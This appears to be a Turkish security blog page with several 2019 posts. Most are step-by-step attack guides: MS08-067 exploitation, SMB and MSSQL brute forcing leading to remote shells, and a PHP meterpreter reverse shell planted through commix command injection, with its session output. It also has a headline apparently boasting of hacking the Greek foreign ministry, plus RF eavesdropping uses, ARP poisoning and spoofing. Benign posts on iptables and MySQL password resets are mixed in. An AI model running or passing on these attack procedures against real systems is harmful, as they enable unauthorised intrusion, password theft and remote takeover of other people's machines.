4 Aralık 2019 Çarşamba

MS08-067 ZAFİYETİ VE SÖMÜRÜLMESİ

Genelde 2000li windows Serverlarda ve xp makinalarda bulunur.SMB üzerine yazılmış bir exploittir.
Bu zafiyeti tespit etmek için sistem üzerine bilindik bir nmap taraması yapabiliriz.Fakat ben size nmap scriptini kullanarak tarama yapmasını göstereceğim.
usr/share/nmap/scripts/
-ls | grap “ms08”
karşımıza çıkan scripti kopyalıyoruz ve
nmap –scripts script adı ip adresi -p445 ile sistemde tarama yaptırıyoruz ve zafiyetin olduğunu gözlemliyoruz.
daha sonra msfconsole’dan
use exploit/windows/smb/ms08_067_netapi
set rhost ile rhost u giriyoruz.
set payload windows/shell/reverse_tcp
set LHOST ile LHOST’u giriyoruz ve
run diyerek exploiti başlatıyoruz.

Yunanistan Dışişleri Bakanlığı Hacked



Linux İşletim Sistemlerinde Firewall Yapılandırması (Iptables)

Linux Firewall (Iptables) Nedir ?
Iptables netfilter takımı ve birçok destekleyici tarafından geliştirilen güvelik duvarı yazılımıdır. Linux çekirdeğiyle konuşarak paket süzme kurallarını belirler. Iptables, Linux işletim sisteminin varsayılan güvenlik duvarıdır. Bu güvenlik duvarı servislerin çalıştığı portlardan geçen trafiği engelleyebilir, başka bir porta yönlendirme yapabilir.
1. Sunucumuzda kurulu değilse Firewall (iptables) yazılımını kuruyoruz. Red Hat ve türevi işletim sistemlerinde “iptables” varsayılan olarak kurulu halde geliyor.
-- IPv4 için iptables kurulumu aşağıdaki gibi yapılabilir.

# yum install iptables

-- IPv6 için iptables kurulumu aşağıdaki gibi yapılabilir.

# yum install iptables-ipv6
2. Sunucumuzda firewall servisimizi kapalıysa başlatıyoruz ve sunucumuz açıldığında otomatik başlaması için gerekli ayarları yapıyoruz.
-- Firewall servisimizi başlatmak için

# service iptables start

-- Firewall servisimizin sunucumuz açıldığında otomatik başlaması için

# chkconfig --level 345 iptables on

-- Firewall servisimizi durdurmak için

# service iptables stop

-- Firewall servisimizi sunucumuz açıldığında başlamaması için

# chkconfig iptables off
3. Sunucumuzda firewall servisinin mevcut durumunu sorgulamak için aşağıdaki komutu kullanabiliriz.
# service iptables status

Table: filter
Chain INPUT (policy ACCEPT)
num  target     prot opt source               destination         
1    ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0   state RELATED,ESTABLISHED 
2    ACCEPT     icmp --  0.0.0.0/0            0.0.0.0/0           
3    ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0           
4    ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0   state NEW tcp dpt:22 
5    REJECT     all  --  0.0.0.0/0            0.0.0.0/0   reject-with icmp-host

Chain FORWARD (policy ACCEPT)
num  target     prot opt source               destination         
1    REJECT     all  --  0.0.0.0/0            0.0.0.0/0   reject-with icmp-host

Chain OUTPUT (policy ACCEPT)
num  target     prot opt source               destination      
4. Sunucumuzda grafik arayüzden firewall yönetim paneline erişmek için “System Administration>Firewall” yolunu izlemeliyiz.


5. Sunucumuzda izinleri verebilmek ve gerekli yapılandırmamızı yapabilmek için “iptables” komutunu kullanıyoruz. Bununla ilgili bilgileri inceleyelim.
-- Iptables Hedefleri

ACCEPT  Paketlerin geçisine izin verilir.
DROP  Paketlerin geçişine izin verilmez.
REJECT  Paketlerin erişimi reddedilir ve gönderen bilgilendirilir.
RETURN  Zincirin sonuna gönderilir.
QUEUE  Paketler kullanıcı alanına gönderilir.

-- Iptables Parametreleri

-A ZİNCİR  Zincire kural ekler.
-E ZİNCİR  Zinciri yeniden adlandırır.
-D ZİNCİR  Zincirden bir kural siler.
-D ZİNCİR  Zincirden belirtilen numaradaki kurali siler.
-L ZİNCİR  Belirtilen zincirdeki kurallari gösterir.
-E ZİNCİR  Zinciri yeniden adlandirir.
-l ZİNCİR  Zincirde belirtilen numaralı alana kuralı ekler.
-R ZİNCİR  Zincirde kuralın yerine başkasını koyar.
-R ZİNCİR  Zincirde belirtilen numaralı alana bir başkasını koyar.
-N ZİNCİR  Yeni bir zincir oluşturur.
-X ZİNCİR  Kullanıcının eklediği bir zinciri siler.
-F ZİNCİR  Zincirdeki kuralların tümünü siler.
-P ZİNCİR  Zincire genel politika ekler.

-- Zincirler ( INPUT,OUTPUT,FORWARD ve POSTROUTING PREROUTING ) büyük harflerle
yazılır.
6. Yukarıdaki “iptables” komut ve parametrelerini örneklerle açıklayalım.
-A –append : Belirli bir zincirin sonuna bir kural eklemek için;

# iptables -A INPUT CHAIN_NAME
# iptables -A OUTPUT CHAIN_NAME

-D –delete : Zinciri silmek için kullanılan komut; Silme işlemi için ya zincir
numarası belirtilir ya da kuralın kendisi.

# iptables -D INPUT 1
# iptables -D INPUT --dport 80 -j DROP

-R –replace : Mevcut zinciri değiştirmek için;

# iptables -R INPUT 1 -s 192.168.0.1 -j DROP

-I — insert : Genel zincir içinde belirlenmiş bir alana bir zincir daha eklemek
için;

# iptables -I INPUT 1 --dport 80 -j ACCEPT

-L –list : Kuralları listeler;

-- Zincirdeki tüm kuralları listelemek için

# iptables -L

-- Sadece INPUT kurallarını listelemek için

# iptables -L INPUT

-F –flush : Zincirdeki tüm kuralları siler;

-- INPUT zincirindeki tüm kuralları silmek için

# iptables -F INPUT

-- Tüm kuralları silmek için

# iptables -F

-N –new-chain : Yeni bir zincir oluşturur

# iptables -N CHAIN_NAME

-X –delete-chain : Bir zinciri siler.

-- Belli bir zinciri silmek için

# iptables -X CHAIN_NAME

-- Tüm zincirleri silmek için

# iptables -X

-P –policy : Kernelin bir zincirdeki kurala karşılık hangi hareket tarzını
göstermesi gerektiğini söyler ACCEPT, REJECT, DROP ...

# iptables -P INPUT DROP

-- ! karakteri ile belirli bir kural içerinde ayrıcalık oluşturabilir;
Örneğin tüm gelen tcp bağlantılarını engellemek ama 192.168.2.130 numaralı
IP’ye ayrıcalık tanımak istiyoruz

# iptables -A INPUT -p tcp --source ! 192.168.2.130 -j DROP

-p –protocol : Kuralda kullanılacak protokol tipini belirtir: tcp, udp, icmp, all
Örneğin tüm icmp trafiğini engellemek için.

# iptables -A INPUT -p icmp -j DROP

-s –source : Kaynak adresini belirtmek için kullanılır.
Örneğin 192.168.2.130 numaralı ipden gelen tüm tcp trafiğini kabul etmek için.

iptables -A INPUT -p tcp -s 192.168.2.130 -j ACCEPT

-d –destination : Varış adresini belirler.
Örneğin 192.168.2.130 numaralı ipye tcp trafiği için port yönlendirmesi yapılacaksa

# iptables -A FORWARD -p tcp -d 192.168.2.130 -j ACCEPT

-i –in-interface : Belirli bir ağ arayüzünün gelen bağlantıları için belirli bir
kuralı uygulama (Sadece INPUT, FORWARD ve PREROUTING). Örneğin eth0 aygıtında tüm
gelen icmp trafiğini engellemek için

# iptables -A INPUT -p icmp -i eth0 -j DROP

-o –out-interface : Belirli bir ağ arayüzünün giden bağlantıları için belirli
bir kuralı uygulama (Sadece OUTPUT, FORWARD ve PREROUTING). Örneğin eth0 aygıtında
tüm giden icmp trafiğini engellemek için

# iptables -A OUTPUT -p icmp -o eth0 -j DROP

–sport –source-port : Kaynak portu ya da sıra halindeki portları [1024:2042]
belirlemek için kullanılır. Birden fazla port belirtilcekse -m multiport parametresi
kullanılır.

# iptables -A INPUT -p tcp --sport 80 -j ACCEPT
# iptables -A INPUT -p udp --sport 80 -j DROP
# iptables -A INPUT -p tcp -m multiport --sport 3128,21,1000 -j DROP
# iptables -A INPUT -p tcp --sport 1024:2042 -j ACCEPT

–dport –destination-port : Sıra halindeki varış portlarını belirtmek için kullanılır.
Birden fazla port belirtilcekse -m multiport parametresi kullanılır.

# iptables -A OUPUT -p tcp --dport 110 -j DROP
# iptables -A OUPUT -p udp --dport 110 -j DROP
# iptables -A OUPUT -p tcp -m multiport --dport 110,4242,119 -j DROP
# iptables -A OUPUT -p tcp --dport 4925:4633 -j ACCEPT

–mac-source : MAC adresini belirtmek için kullanılır.
Örneğin 35:26:AA:35:26:AA MACadresinden gelen tüm trafiği engellemek için

# iptables -A INPUT --mac-source 35:26:AA:35:26:AA -j DROP

–state : Belirli bir paket durumunun karşılaştırması için kullanılır.
(ESTABLISHED, NEW, INVALID, RELATED)

# iptables -A INPUT -i eth0 -p tcp --sport 80 -m state --state NEW,ESTABLISHED -j ACCEPT
# iptables -A OUTPUT -o eth0 -p tcp --dport 80 -m state --state ESTABLISHED -j ACCEPT
7. Sunucumuzda açıkladığımız firewall ayaraları ile ilgili örnek yapılandırmalar yapalım.
-- Ön ayarlı kuralların yüklenmesi (Tüm ağ trafiğini engeller)

# iptables -P INPUT DROP
# iptables -P OUTPUT DROP
# iptables -P FORWARD DROP

-- Loopback Adapter için izin ver

# iptables -A INPUT -i lo -j ACCEPT
# iptables -A OUTPUT -o lo -j ACCEPT

-- Web trafiğine izin ver

# iptables -A INPUT -i eth0 -p tcp -m tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT
# iptables -A OUTPUT -o eth0 -p tcp -m tcp --dport 80 -m state --state NEW,ESTABLISHED -j ACCEPT

-- DNS sunucu hizmetine izin ver:

# iptables -A INPUT -i eth0 -p udp -m udp --sport 53 -j ACCEPT
# iptables -A OUTPUT -o eth0 -p udp -m udp --dport 53 -j ACCEPT
# iptables -A INPUT -i eth0 -p tcp -m tcp --sport 53 -j ACCEPT
# iptables -A OUTPUT -o eth0 -p tcp -m tcp --dport 53 -j ACCEPT

-- FTP sunucu hizmetine izin ver

# iptables -A INPUT -i eth0 -p tcp -m tcp --sport 21 -m state --state ESTABLISHED -j ACCEPT
# iptables -A INPUT -i eth0 -p tcp -m tcp --sport 20 -m state --state ESTABLISHED,RELATED -j ACCEPT
# iptables -A INPUT -i eth0 -p tcp -m tcp --sport 1024:65535 --dport 1024:65535 -m state --state ESTABLISHED -j ACCEPT
# iptables -A OUTPUT -o eth0 -p tcp -m tcp --dport 21 -m state --state NEW,ESTABLISHED -j ACCEPT
# iptables -A OUTPUT -o eth0 -p tcp -m tcp --dport 20 -m state --state ESTABLISHED -j ACCEPT
# iptables -A OUTPUT -o eth0 -p tcp -m tcp --sport 1024:65535 --dport 1024:65535 -m state --state ESTABLISHED,RELATED -j ACCEPT

-- Belirli bir ip için izin ver veya engelle:

-- İzin vermek için

# iptables -A INPUT -s 192.168.2.130 -j ACCEPT

-- Engellemek için

# iptables -A INPUT -s 10.123.452.36 -j DROP

-- Özetle TCP Portu açmak için

# iptables -A TRUSTED -i eth0 -p tcp -m tcp --dport port_numarası -j ACCEPT

-- Özetle UDP Portu açmak için

# iptables -A TRUSTED -i eth0 -p udp -m udp --dport port_numarası -j ACCEPT
8. Sunucularımız için bir firewall standartı oluşturmak istiyorsak bunu bir script haline getirebilir ve sunucularımızda çalıştırabiliriz. Oluşturacağımız script ile firewall ayarlarımızı düzenleyebiliriz.
-- Firewall scriptimizi oluşturuyoruz ve aşağıdaki içeriği yazıyoruz.

# vim /tmp/firewall_config.sh

-- Script İçeriğimiz

#!/bin/bash

# Ağ Segmentimiz
LAN=192.168.2.1/24

# IP Adresimiz
OWNIP=192.168.1.2

# Tüm firewall ayarlarını sil
iptables -F
iptables -X

# Ön tanımlı ayarları geri yükle. Tüm bağlantıları kabul et
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT

# Yeni iki zincir oluştur
iptables -N FIREWALL
iptables -N TRUSTED

# ESTABLISHED ve RELATED gelen bağlantılara izin ver
iptables -A FIREWALL -i eth0 -m state --state ESTABLISHED,RELATED -j ACCEPT

# Loopback trafiğine izin ver
iptables -A FIREWALL -i lo -j ACCEPT

# Gönderilen tüm paketleri TRUSTED zincirine yolla
iptables -A FIREWALL -j TRUSTED

# Diğer tüm paketleri engelle
iptables -A FIREWALL -j DROP

# Tüm gelen INPUT paketleri FIREWALL zincirine yolla
iptables -A INPUT -j FIREWALL

# Tüm forward edilmiş paketleri engelle
iptables -A FORWARD -j DROP

# samba (Netbios'suz)
iptables -A TRUSTED -i eth1 -p tcp -m tcp -s $LAN --dport 445 -j ACCEPT

# Samba (Netbios)
iptables -A TRUSTED -i eth1 -p udp -m udp -s $LAN --dport 137:139 -j ACCEPT
iptables -A TRUSTED -i eth1 -p udp -m udp --sport 137:138 -j ACCEPT

# Sonuç mesajı
echo " [Iptables kuralları uygulandı] "

-- Script dosyamızın çalışma izinlerini düzenliyoruz.

# chmod u+x /tmp/firewall_config.sh

-- Scriptimizi çalıştırmak için

# /tmp/firewall_config.sh
Linux Firewall (iptables) ile ilgili inceleyceklerimiz bu kadar genelde sık kullanılan yapılandırmaları inceledik. Yukarıdaki örneklerle kendi sunucu ve ağ yapımıza göre firewall yapılandırmamızı yapabiliriz. Sunucularımızda Oracle Veritabanı Yönetim Sistemi kullanacaksak Oracle varsayılan olarak firewall servisinin sorun çıkmaması açısından “disabled” durumda olmasını önermektedir. Yukarıdaki işlemler “Red Hat Enterprise Linux 6.x” işletim sisteminde test edilmiştir. Oracle Enterprise Linux 6.x ve CentOS 6.x gibi Red Hat türevi işletim sistemlerinde yapılandırmalarımız benzerdir.

26 Kasım 2019 Salı

Sinyal İstihbaratı Ve SigintOS


Sinyal İstihbaratı Ve Önemi Nedir?

Günümüzde teknolojinin bu denli gelişmesi ve son zamanlarda üretilen cihazların uzaktan kontrol sistemlerinin olması sinyal istihbaratına olan ilgiyi arttırmıştır.Genelde Radyo Dalgaları kullanılarak sinyal istihbaratı sağlanır. RF Hacking için birçok cihaz kullanılmaktadır.Bu cihazların kullanımına önümüzdeki makalelerde değineceğiz.
RF Hacking ile yapılabilecek bazı şeyler şunlardır:
*Şifrelenmemiş Polis/ Ambulans / İtfaiye / Askeriye gibi telsiz konuşmalarını dinlemek
*Uçak-kule ve diğer konuşmaları dinlemek
*Radar kullanan uçak ve gemi gibi taşıtların konumlarını öğrenmek
*GSM görüşmeleri ve SMS’leri takip etmek
*kablosuz telefonları dinlemek
*Amatör telsiz konuşmalarını dinlemek
*FM radyo ve televizyon yayınlarını takip etmek
*Uyduları ve ISS’yi dinlemek
*Droneların yerlerini tespit etmek
Ve Benzeri işlemler gerçekleştirilebilir..
Bu işlemleri Linux,Parrot OS gibi işletim sistemlerinden gerekli toolları gerçekleştirebileceğimiz gibi bu iş için özel olarak üretilen ve bir linux dağıtımı olan SigintOS’u da kullanabiliriz.

SigintOS Nedir?

SigintOS, Sinyal istihbaratı için özel olarak geliştirilmiş bir linux dağıtımıdır.Kendisine ait SigintOS Tool adındaki toolu ile birçok işlemi tek tool içerisinde toplamıştır.Bu dağıtımda WireShark,GQRX,GNU RADİO ve birçok sinyal istihbaratında kullanılan tool yüklü olarak gelmiştir.Dolayısıyla sinyal istihbaratıyla uğraşanların yükü azalmıştır.RTL-SDR,HackRF ve BladeRF Gibi cihazların sistemleri kurulu olarak gelmiş ve kullanıcılarına vakitten tasarruf sağlamıştır. Bu dağıtımı VirtualBox üzerinden live olarak çalıştırabiliriz.

SMB(microsoft-ds) SALDIRILARI

SMB servisi 445.port üzerinde çalışan TCP bazlı bir servistir.Bugün anlatacağımız saldırı yöntemi bu servis üzerine brute force yapılmasıdır.Önümüzdeki makalelerde bu servise yönelik daha üst düzey saldırıları anlatacağız.
Brute force saldırısını msfconsole üzerinden auxilary ile gerçekleştireceğiz.
use auxilary/scanner/smb/smb_login yazarak auxilarye geçiş yapıyoruz.
show options diyerek auxilary’nin bizden ne istediğini görüyoruz ve set komutu ile dolduruyoruz. Sistemde bildiğimiz bir SMBUSER yoksa Administrator olarak saldırımızı gerçekleştirebiliriz.
set pass_file “wordlist yolu”
set STOP_ON_SUCCESS true yazarak doğru loginleri bulduğunda saldırının durmasını sağlıyoruz.
run diyerek saldırıyı başlatıyoruz.
Saldırının başarılı gerçekleştiğini varsayarak devam ediyoruz.”winexe aracını kullanarak bu servise bağlantı sağlayabiliriz.
winexe –user=Administrator%şifre //hedef sistem ip adresi ‘erişmek istediğimiz komut satırı(cmd)’
Bu şekilde hedef sisteme bağlantı sağlayabiliriz.Aynı işlemi msfconsole üzerinden de gerçekleştirebiliriz.
use exploit/windows/smb/psexec
show options diyerek istenenleri dolduruyoruz (set komutu ile)
set payload payload windows/shell/reverse_tcp yazarak sisteme payload atıyoruz.
show options diyerek payloadın bizden istediklerini dolduruyoruz.
run diyerek işlemi başlatıyoruz ve komut satırına erişim sağlıyoruz.
Eğer sistemde oturum açılmaz ise bunun nedeni payloadın mimarisinden kaynaklanıyor olabilir. x32 veyahut x64 payload bir payload vererek aynı işlemleri gerçekleştirip devam edebilirsiniz.

SMB Sign Özelliğinden Faydalanmak:

SMB_SİGN özelliği mesaj bloklarında görülen bir imza özelliğidir.Özelliğin sistem yöneticisi tarafından açılmaması durumunda çeşitli yönlendirmelerle hedef sistemde Man İn The Middle(Ortadaki Adam) gerçekleştirilebilir.
Sistemde bu özelliğin aktif olup olmadığını “Runfinger” adlı tool ile öğrenebiliriz.
usr/share/responder/tools/Runfinger.py -i hedef ip adresi
Bu toolun çalışma mantığı şöyledir:
Bir ip adresi verilir ve bu tool sistemde çalışan tüm cihazların SİGN özelliğini kontrol eder.Cihazların SİGN özelliği FALSE ise yapacağımız saldırı olumlu sonuç verecektir.Bu saldırıyı önümüzdeki makalelerde detaylı şekilde anlatacağız.

MSSQL SALDIRILARI



MSSQL’in kullanım amacı MySQL ie aynıdır yani amacı databaseleri yönetmektir.1433.Portta çalışan TCP bazlı bir servistir.MSSQL’İn MySQL ‘den farkı komut yürütülebilir olmasıdır.İLk önce MSSQL üzerine bir kabakuvvet saldırısı gerçekleştireceğiz.Bu işlemi msfconsole üzerinden bir auxilary ile gerçekleştireceğiz.
use auxilary/scanner/msslq/mssql_login
show options diyerek bizden istenen yerleri set komutu ile dolduruyoruz.MSSQL’de yeterli user “sa” dır.Gerekli yerleri doldurduktan sonra
set STOP_ON_SUCCESS true diyerek doğru sonucu bulduğunda durmasını istiyoruz.Daha sonra “run” diyerek başlatıyoruz.Doğru sonunu bulduğumuzu varsayarak devam ediyoruz.
Komut yürütmek için yine msfconsole üzerindeki bir auxilary kullanacağız.
use auxilary/admin/mssql/mssql_exec
show options diyerek bizden istenen yerleri dolduruyoruz.
run diyoruz ve başlatıyoruz.İlgili sistemde
set cmd “komut”
ile komut yürütüyoruz.
Aynı zamanda sistemde bir netcat bağlantısı sağlayıp shell satırına inebiliriz.Bu işlem için msfconsole üzerindeki bir exploiti kullanacağız.
use exploit/windows/mssql/mssql_payload
show options diyerek bizden istediklerini set komutu ile dolduruyoruz. (SRVHOST’un İP’si dosya yükleyeceğimiz yerin İP’si olacak.Eğer LOCALHOST’da çalışıyorsanız[laboratuvar gibi] kendi İP adresimizi yazıyoruz.
run diyerek exploiti çalıştırıyoruz.Komut satırına inmiş bulunmaktayız.Bir başka yazımızda görüşmek üzere

20 Kasım 2019 Çarşamba

Sunucuya (metasploit) PHP meterpreter shell Atma

Adım 1: Meterpreter ile PHP shell oluşturmak ;


Kod:
msfvenom -p php/meterpreter/reverse_tcp LHOST=İP_ADRESİNİZ  LPORT=4444 -e php/base64 -f raw > /root/Desktop/msfvenom.php

Adım 2: msfconsole ile Multi Handleri Başlatıyoruz ;

Kod:
msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.178.3
LHOST => 192.168.178.3
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.178.3:4444
[*] Starting the payload handler...

3. Adım: Hedefin "/ var / www /" dizinindeki "msfvenom.php" dosyasını oluşturmak ve uygulamak için commix-i kullanın.
Kod:
https://github.com/commixproject/commix

Kod:
root@kali:~/commix# python commix.py --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --file-write="/root/Desktop/msfvenom.php" --file-dest="/var/www/msfvenom.php" --os-cmd="php -f /var/www/msfvenom.php"

SHELL ATILMIŞTIR !

Kod:
[*] Sending stage (40499 bytes) to 192.168.178.4
[*] Meterpreter session 1 opened (192.168.178.3:4444 -> 192.168.178.4:50450) at 2015-05-16 03:11:42 -0400

meterpreter > sysinfo
Computer    : debian
OS          : Linux debian 3.16.0-4-586 #1 Debian 3.16.7-ckt9-3~deb8u1 (2015-04-24) i686
Meterpreter : php/php
meterpreter >

18 Kasım 2019 Pazartesi

– Hping3 –

Temel Olarak Hping ile Raw ip, ICMP , TCP ve UDP paketleri üretilebilir. Üretilecek paketlere ait tüm özellikler komut satırından belirlenebilir.
SYN —> ( hping -S )
FIN —-> ( hping -F )
RST —-> ( hping -R)
ACK —-> ( hping -A)
PUSH —> ( hping -P)
URG —-> ( hping -U)
Kullanımı : hping -S -c 100 -p 80 hedefsite.com
-c : Bu parametre ile kaç adet bayrak gönderileceğini belirleyebiliriz.
-p : Bu parameter ile hangi porta gönderileceğini belirleyebiliriz.
-a : Sahte IP adresi vererek IP adresinizi gizlememizi sağlayan parametredir.

– ARP Poisoning ( ARP Zehirlenmesi ) –

ARP ( Address Resolution Protocol ) zehirlenmesi OSI katman modelinde network katmanında yer alır. Bu katmanda yer alan ARP, IP adreslerini MAC adreslerine çevirir. Bu IP adreslerine Karşılık Gelen MAC adreslerini ARP tablolarında tutar ve ARP tabloları da belirli aralıklarla güncellenir. Bir ip adresine karşılık , sahte bir MAC oluşturmasını ARP zehirlenmesi denir.
ARP Poisoning Saldırısı İçin Kullanılabilecek Araçlar:
– Arp Tool 1.0.2
– Etherial ya da Wireshark
– Arpison
– Ettercap
– Cain & Abel

EXPLOİTATİON(METASPLOİT)

Metasploit,hemen hemen her Pentest’de (Penetration Testniing) kullanılan Pentesterlerin vazgeçilmez aracıdır.İçerisinde birçok exploit,auxilary ve payload modulleri bulunur.
Metasploit aracımızı daha hızlı kullanmamız için bazı konfigürasyon ayarlarını yapmamız lazım.Metasploitimizin daha hızlı çalışabilmesi için onu bir veritabanına bağlamamız gerekir.Terminali açarak şu komutları yazıyoruz:
service postgresql start => postgresql servisini çalıştırdık.
msfdb imit => Msfconsole’yi veritabanına bağladık.
Bu şekilde daha hızlı arama yapabilmesini sağlamış olduk.
-h komutu ile komutlar hakkında bilgi sahibi olabiliriz.
Şimdi Metasploit İle Bir Exploitleme İşlemi Nasıl Yapılır Onu Öğreneceğiz:
İlgili servisin versiyon bilgisini bulduktan sonra uygun bir exploit aramak için şu komutu giriyoruz:
search “Versiyon Bilgisi” type:exploit (Auxilary aramak istiyorsak Auxilary gibi)
Tabiiki bu versiyona uygun exploiti aramak için sadece msfconsole’yi kullanmayız.Google üzerinden (exploit-db,rapid7,cxsecurity,0daytoday.com,Vb..) veyahut terminal üzerinden de exploit aramamızı gerçekleştirebiliriz.Terminal üzerinden bu aramayı gerçekleştirmek için “Searchsploit” i kullanabiliriz.
searchsploit “Versiyon Bilgisi” => Bu şekilde arama yapabiliriz.
Eğer bu exploiti Bilgisayarımıza indirmek istiyorsak şu komutu kullanırız:
searchsploit -m exploit numarası => Bu şekilde Exploiti bilgisayarımıza indirebiliriz.
Şimdi uygun exploiti bulduğumuzu varsayarak devam edelim.
use exploit => bu komut ile exploitimize geçmiş oluyoruz.
show options => Exploitin bizden hangi bilgileri istediğine bakarız.YES yazan yerleri girmek zorundayız.(rhost Vb. gibi)Bunu Set komutu ile gireriz.Yani Şöyle:
set ‘hedef ip’ => rhost u gireriz.
Exploitin bizden istediklerinide gerçekleştirdikten sonra exploit/run komutu ile exploiti çalıştırabiliriz.Eğer exploit başarılı ise msfconsolede açılacaktır.

– NETCAT (NC) –




Netcat , TCP/IP üzerinden veri gönderme veya almaya yarayan bir araçtır. Netcat aracı ile herhangi bir portu dinleyebilir, port tarama, bağlantı oluşturma, shell oturumu, dosya transferi gibi pek çok şey yapılabilir.
Örnek Komutlar:
nc -v hedefsite.com 80
nc -vz hedefsite.com 80
nc -v -n IP_ADRESI -z 1-1024
nc -lvp PORT

8 Kasım 2019 Cuma

MySQL, MariaDB Root Şifresinin Sıfırlanması




MySQL / MariaDB root şifrenizi unuttuysanız bu doküman size şifrenizi kurtarmanıza yardımcı olacaktır. Birçok kullanıcının başına gelebilecek olan bu durum basitçe anlatılmıştır.

Gereksinimler

MySQL veya MariaDB’ nin üzerinde çalıştığı Linux sunucunuza sudo yetkili hesabınızla giriş yapmalısınız.

Veritabanı Sürümü Kontrolü

Aşağıdaki komut bize veritabanımızın sürümü hakkında bilgi verecektir.
$ mysql --version
MySQL veritabanı çalışıyorsa sunucunuzda aşağıdakine benzer bir çıktı ile karşılaşacaksınız.
mysql Ver 14.14 Distrib 5.5.53, for debian-linux-gnu (x86_64) using readline 6.3
MariaDB veritabanı çalışıyorsa sunucunuzda aşağıdakine benzer bir çıktı ile karşılaşacaksınız.
mysql Ver 15.1 Distrib 5.5.52-MariaDB, for Linux (x86_64) using readline 5.1
Şimdi burada hangi veritabanı türü ve sürümünü kullandığımızı not etmemiz gerek. Dokümanın ilerleyen kısımlarında bu bilgiler işimize yarayacak.

Veritabanının Durdurulması

Root şifresini değiştirmeden ömce çalışan veritabanını durdurmamız gerekmketedir.
Aşağıdaki komut ile MySQL veritabanınızı durdurabilirsiniz.
$ sudo systemctl stop mysql
Aşağıdaki komut ile MariaDB veritabanınızı durdurabilirsiniz.
$ sudo systemctl stop mariadb

İzin Kontrolü Olmadan Veritabanının Başlatılması

Eğer MySQL veya MariaDB veritabanlarınızı kullanıcı ayrıcalıkları olmadan çalıştırırsanız şifresiz olarak veritabanı komut satırına erişim sağlayabilirsiniz.
Bunu yapabilmek için kullanıcı ayrıcalıkları bilgilerini tutan grant tables’ ı ve başka kullanıcıların erişimini önleyen networking’ i durdumanız gerekmektedir.
Veritabanını hem grant tables’ ı yüklemeden hem de networking’ i başlatmadan aşağıdaki komut ile çalıştırmalıyız.
$ sudo mysqld_safe --skip-grant-tables --skip-networking &
Buradaki ampersand(&) karakterini kullanmamızın sebebi ilgili işlemi arka plana göndermek içindir, bu şekilde ilgili işlem arka plan da çalışmaya devam ederken biz de sunucu üzerinde işlemlerimize devam edebiliriz.
Şimdi veritabanımızı root kullanıcısı ile açıyoruz. Şu anda bizden şifre istememesi gerekmektedir.
$ mysql -u root
MySQL çalışan sunucumuzda aşağıdaki gibi bir çıktı ile karşılaşacaksınız.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
MariaDB çalışan sunucumuzda aşağıdaki gibi bir çıktı ile karşılaşacaksınız.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

Root Şifresinin Değiştirilmesi

ALTER USER komutu ile MySQL veritabanı root şifresini değiştirebiliriz. Ancak öncesinde çalışmasını engellediğimiz grant tables’ ın tekrardan yüklenmesini sağlamamız gerekmektedir.
Aşağıdaki komut ile veritabanı yetkilendirmelerinin tekrardan okunarak, güncel olmasını sağlamalısınız.
mysql> FLUSH PRIVILEGES;
MySQL 5.7.6 / MariaDB 10.1.20 ve daha yeni sürümler için aşağıdaki şekilde root şifresini değiştirebiliriz.
 mysql> ALTER USER 'root'@'localhost' IDENTIFIED BY 'Yeni_rootSifreniz';
MySQL 5.7.5 / MariaDB 10.1.20 ve daha eski sürümleri için aşağıdaki şekilde root şifresini değiştirebiliriz.
 mysql> SET PASSWORD FOR 'root'@'localhost' = PASSWORD('Yeni_rootSifreniz');
Aşağıdaki gibi bir çıktı ile karşılaşacaksınız.
Query OK, 0 rows affected (0.00 sec)
Eğer ALTER USER komutu işe yaramadıysa aşağıdaki UPDATE … SET komutları ile root şifrenizi sıfırlamayı deneyebilirsiniz.
mysql> UPDATE mysql.user SET authentication_string = PASSWORD('Yeni_rootSifreniz') WHERE User = 'root' AND Host = 'localhost';
Bu işlem sonrasında grant tables’ ı tekrar aktif etmeyi unutmayınız. Bu işlem için aşağıdaki komut ile veritabanı yetkilendirmelerinin tekrardan okunarak, güncel olmasını sağlamalısınız.
mysql> FLUSH PRIVILEGES;

Veritabanının Tekrardan Normal Şekilde Başlatılması

Tüm aşamaları başarılı şekilde yapıp root şifresini sıfırladıktan sonra artık veritabanımızı normal şekilde çalıştırıp, root kullanıcısı ile erişim sağlayabilirsiniz.
MySQL işleminin sonlanması için aşağıdaki komut yardımcı olacaktır.
$ sudo kill `cat /var/run/mysqld/mysqld.pid`
MariaDB işleminin sonlanması için aşağıdaki komut yardımcı olacaktır.
$ sudo kill `/var/run/mariadb/mariadb.pid`
Şimdi MySQL veya MariaDB veritabanı çalışan sunucumuzda ilgili servisleri tekrar çalıştıralım.
MySQL veritabanı için aşağıdaki komut yardımcı olacaktr.
$ sudo systemctl start mysql
MariaDB veritabanı için aşağıdaki komut yardımcı olacaktr.
$ sudo systemctl start mariadb
Şimdi yeni verdiğimiz root şifresi ile giriş yapabiliriz.
$ mysql -u root -p
Bu komut sonrası yeni atadığınız şifre ile başarılı şekilde veritabanınıza giriş yapabilirsiniz.